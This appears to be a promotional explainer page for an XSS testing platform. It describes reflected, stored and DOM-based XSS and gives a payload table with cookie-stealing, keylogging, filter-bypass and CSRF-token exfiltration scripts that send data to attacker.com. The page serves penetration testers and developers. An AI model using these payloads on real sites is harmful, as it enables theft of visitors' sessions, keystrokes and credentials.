Cross-Site Scripting (XSS) is a sophisticated client-side code injection attack where malicious scripts are injected into trusted websites. When users visit these compromised websites, the malicious scripts execute in their browsers, potentially stealing cookies, session tokens, or other sensitive information.
Reflected XSS occurs when malicious script is reflected off a web server, such as in search results or error messages that include user input.
Stored XSS (persistent XSS) occurs when malicious script is stored on the target server, such as in a database, message forum, comment field, or visitor log.
Stored XSS is particularly dangerous because it affects all visitors to the compromised page, not just those who click a specific link. In 2020, a popular e-commerce platform had a stored XSS vulnerability in product reviews that exposed thousands of customers to credential theft.
A common example is when an attacker posts a comment containing malicious script that steals cookies from all visitors who view the page.
DOM-based XSS occurs when the vulnerability exists in client-side code rather than server-side code. The page itself doesn't change, but the client-side code contained in the page executes differently due to malicious modifications in the DOM environment.
DOM-based XSS is unique because it can occur even in static websites with no server-side processing. The vulnerability exists entirely in the client-side JavaScript that manipulates the DOM based on user input or URL parameters.
| Purpose | Payload Example | Description |
|---|---|---|
| Basic Testing | <script>alert('XSS')</script> |
Simple payload to verify if XSS is possible |
| Cookie Stealing | <script>fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie))</script> |
Sends victim's cookies to attacker's server using modern fetch API |
| Keylogging | <script>
var keys='';
document.addEventListener('keypress',function(e){
keys+=e.key;
if(keys.length>10){
fetch('https://attacker.com/log?keys='+encodeURIComponent(keys));
keys='';
}
})</script> |
Records keystrokes and sends them to attacker's server in batches |
| Filter Bypass | <img src="x" onerror="eval(atob('YWxlcnQoJ1hTUyBCeXBhc3NlZCEnKQ=='))"> |
Uses Base64 encoding to bypass filters that block specific keywords |
| HTML Context | " onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100% |
Breaks out of an attribute context and creates an invisible overlay that triggers on mouse movement |
| Session Hijacking | <script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/profile', true);
xhr.onload = function(){
var token = this.responseText.match(/csrf_token="([^"]+)"/)[1];
var img = new Image();
img.src = 'https://attacker.com/steal?token='+token;
};
xhr.send();
</script> |
Extracts CSRF token from the page and sends it to the attacker, enabling session hijacking |
XSS.Report is the most advanced XSS detection and analysis platform, offering comprehensive tools for security professionals, penetration testers, and developers.
"XSS.Report has revolutionized how we conduct security assessments. The detailed reports and real-time alerts have helped us identify vulnerabilities that would have otherwise gone unnoticed."
— Security Researcher
"The ready-to-use payloads and customization options make XSS.Report an essential tool in my penetration testing toolkit."
— Penetration Tester
"As a developer, XSS.Report has helped me understand and fix security vulnerabilities in our web applications. The detailed analysis provides actionable insights."
— Web Developer
This information is provided for educational purposes only. Always obtain proper authorization before testing for XSS vulnerabilities on any website. Unauthorized testing may violate computer crime laws and terms of service agreements.
